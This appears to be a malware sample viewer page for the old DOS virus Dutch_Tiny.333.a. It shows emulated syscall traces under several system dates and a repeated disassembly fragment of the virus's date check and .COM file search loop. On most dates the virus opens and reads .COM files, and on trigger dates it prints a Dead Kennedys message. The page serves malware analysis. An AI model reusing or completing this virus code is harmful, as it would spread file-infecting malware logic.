Sample viewer

vx.netlux.org/Virus.DOS.Dutch_Tiny.333.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:03:20.95994567Z 42 PC: 12a5e | Get date 0x12a5e: cmp dx, 0x606
0x12a62: je 0x12a8c
0x12a64: cmp dx, 0xb12
0x12a68: je 0x12a8c
0x12a6a: cmp dx, 0xb16
0x12a6e: je 0x12a8c
0x12a70: lea dx, word ptr [si + 0x20d]
0x12a74: xor cx, cx
0x12a76: mov ah, 0x4e
0x12a78: int 0x21
0x12a7a: jb 0x12a85
0x12a7c: call 0x12a96
0x12a7f: jb 0x12a85
0x12a81: mov ah, 0x4f
0x12a83: jmp 0x12a78
0x12a85: mov ax, bp
0x12a87: add ax, 0x102
0x12a8a: jmp ax
0x12a8c: lea dx, word ptr [si + 0x220]
0x12a90: mov ah, 9
2018-12-17T22:03:20.962781909Z 78 PC: 12a7a | Find first file
2018-12-17T22:03:20.974552211Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:20.979925484Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.295358133Z 61 PC: 12aae | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:03:21.302602743Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:03:21.309488628Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.314525921Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.318712855Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.324469338Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.334349914Z 61 PC: 12aae | Open file (Filename = 'PRINT.COM')
2018-12-17T22:03:21.342062278Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 6)
2018-12-17T22:03:21.348606966Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.357758147Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.364658878Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.375531996Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.385745756Z 61 PC: 12aae | Open file (Filename = 'HELLO.COM')
2018-12-17T22:03:21.393481679Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 7)
2018-12-17T22:03:21.399966141Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.404378009Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.407825419Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.413574311Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.426230809Z 61 PC: 12aae | Open file (Filename = 'PHANG.COM')
2018-12-17T22:03:21.43858634Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 8)
2018-12-17T22:03:21.444828914Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.44955448Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.469897454Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.481888274Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.491983865Z 61 PC: 12aae | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:03:21.499162753Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 9)
2018-12-17T22:03:21.50680297Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.511098683Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.514242273Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.520914203Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.530442875Z 61 PC: 12aae | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:03:21.536792835Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 10)
2018-12-17T22:03:21.543927672Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.553861603Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.560522337Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.567050653Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.582827631Z 61 PC: 12aae | Open file (Filename = 'PAH.COM')
2018-12-17T22:03:21.589253307Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 11)
2018-12-17T22:03:21.606011856Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.610575354Z 79 PC: 12a7a | Find next file
2018-12-17T22:03:21.613450296Z 67 PC: 12a9e | Get or set file attributes
2018-12-17T22:03:21.619907494Z 67 PC: 12aa9 | Get or set file attributes
2018-12-17T22:03:21.630057137Z 61 PC: 12aae | Open file (Filename = 'TEST.COM')
2018-12-17T22:03:21.636766475Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 12)
2018-12-17T22:03:21.643268623Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:03:21.647819513Z 79 PC: 12a7a | Find next file

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1490,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:52.501398748Z 42 PC: 12a5e | Get date 0x12a5e: cmp dx, 0x606
0x12a62: je 0x12a8c
0x12a64: cmp dx, 0xb12
0x12a68: je 0x12a8c
0x12a6a: cmp dx, 0xb16
0x12a6e: je 0x12a8c
0x12a70: lea dx, word ptr [si + 0x20d]
0x12a74: xor cx, cx
0x12a76: mov ah, 0x4e
0x12a78: int 0x21
0x12a7a: jb 0x12a85
0x12a7c: call 0x12a96
0x12a7f: jb 0x12a85
0x12a81: mov ah, 0x4f
0x12a83: jmp 0x12a78
0x12a85: mov ax, bp
0x12a87: add ax, 0x102
0x12a8a: jmp ax
0x12a8c: lea dx, word ptr [si + 0x220]
0x12a90: mov ah, 9
2018-12-25T11:43:52.505276835Z 78 PC: 12a7a | Find first file
2018-12-25T11:43:52.511820506Z 67 PC: 12a9e | Get or set file attributes
2018-12-25T11:43:52.518067288Z 67 PC: 12aa9 | Get or set file attributes
2018-12-25T11:43:52.537912362Z 61 PC: 12aae | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:43:52.548622286Z 63 PC: 12abd | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:43:52.556897602Z 67 PC: 12b4c | Get or set file attributes
2018-12-25T11:43:52.562704841Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.566474629Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.572911764Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.584009547Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.597746842Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.606256334Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.611483863Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.615179469Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.621563047Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.632791149Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.641274234Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.649452971Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.659254029Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.666754427Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.673583312Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.684452522Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.691775561Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.699527642Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.704523585Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.720600441Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.727972053Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.738531399Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.745844208Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.754343861Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.759284495Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.762983433Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.777580865Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.802311025Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.809858773Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.818041672Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.823671408Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.827104666Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.833788952Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.845923218Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.854115887Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.861545735Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.867934103Z 79 PC: 12a7a | Find next file (See above)
2018-12-25T11:43:52.871317615Z 67 PC: 12a9e | Get or set file attributes (See above)
2018-12-25T11:43:52.877871459Z 67 PC: 12aa9 | Get or set file attributes (See above)
2018-12-25T11:43:52.889910227Z 61 PC: 12aae | Open file (See above)
2018-12-25T11:43:52.902709227Z 63 PC: 12abd | Read file or device (See above)
2018-12-25T11:43:52.91039557Z 67 PC: 12b4c | Get or set file attributes (See above)
2018-12-25T11:43:52.915911774Z 79 PC: 12a7a | Find next file (See above)

{"DateBased":true,"Day":6,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1490,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:52.616395022Z 42 PC: 12a5e | Get date 0x12a5e: cmp dx, 0x606
0x12a62: je 0x12a8c
0x12a64: cmp dx, 0xb12
0x12a68: je 0x12a8c
0x12a6a: cmp dx, 0xb16
0x12a6e: je 0x12a8c
0x12a70: lea dx, word ptr [si + 0x20d]
0x12a74: xor cx, cx
0x12a76: mov ah, 0x4e
0x12a78: int 0x21
0x12a7a: jb 0x12a85
0x12a7c: call 0x12a96
0x12a7f: jb 0x12a85
0x12a81: mov ah, 0x4f
0x12a83: jmp 0x12a78
0x12a85: mov ax, bp
0x12a87: add ax, 0x102
0x12a8a: jmp ax
0x12a8c: lea dx, word ptr [si + 0x220]
0x12a90: mov ah, 9
2018-12-25T11:43:52.619206498Z 9 PC: 12a94 | Display string (String= 'Kennedy er dd - lnge leve "The Dead Kennedys" ')

{"DateBased":true,"Day":18,"Month":11,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1490,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:52.683711678Z 42 PC: 12a5e | Get date 0x12a5e: cmp dx, 0x606
0x12a62: je 0x12a8c
0x12a64: cmp dx, 0xb12
0x12a68: je 0x12a8c
0x12a6a: cmp dx, 0xb16
0x12a6e: je 0x12a8c
0x12a70: lea dx, word ptr [si + 0x20d]
0x12a74: xor cx, cx
0x12a76: mov ah, 0x4e
0x12a78: int 0x21
0x12a7a: jb 0x12a85
0x12a7c: call 0x12a96
0x12a7f: jb 0x12a85
0x12a81: mov ah, 0x4f
0x12a83: jmp 0x12a78
0x12a85: mov ax, bp
0x12a87: add ax, 0x102
0x12a8a: jmp ax
0x12a8c: lea dx, word ptr [si + 0x220]
0x12a90: mov ah, 9
2018-12-25T11:43:52.694132943Z 9 PC: 12a94 | Display string (String= 'Kennedy er dd - lnge leve "The Dead Kennedys" ')

{"DateBased":true,"Day":22,"Month":11,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1490,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:43:52.768747426Z 42 PC: 12a5e | Get date 0x12a5e: cmp dx, 0x606
0x12a62: je 0x12a8c
0x12a64: cmp dx, 0xb12
0x12a68: je 0x12a8c
0x12a6a: cmp dx, 0xb16
0x12a6e: je 0x12a8c
0x12a70: lea dx, word ptr [si + 0x20d]
0x12a74: xor cx, cx
0x12a76: mov ah, 0x4e
0x12a78: int 0x21
0x12a7a: jb 0x12a85
0x12a7c: call 0x12a96
0x12a7f: jb 0x12a85
0x12a81: mov ah, 0x4f
0x12a83: jmp 0x12a78
0x12a85: mov ax, bp
0x12a87: add ax, 0x102
0x12a8a: jmp ax
0x12a8c: lea dx, word ptr [si + 0x220]
0x12a90: mov ah, 9
2018-12-25T11:43:52.775570212Z 9 PC: 12a94 | Display string (String= 'Kennedy er dd - lnge leve "The Dead Kennedys" ')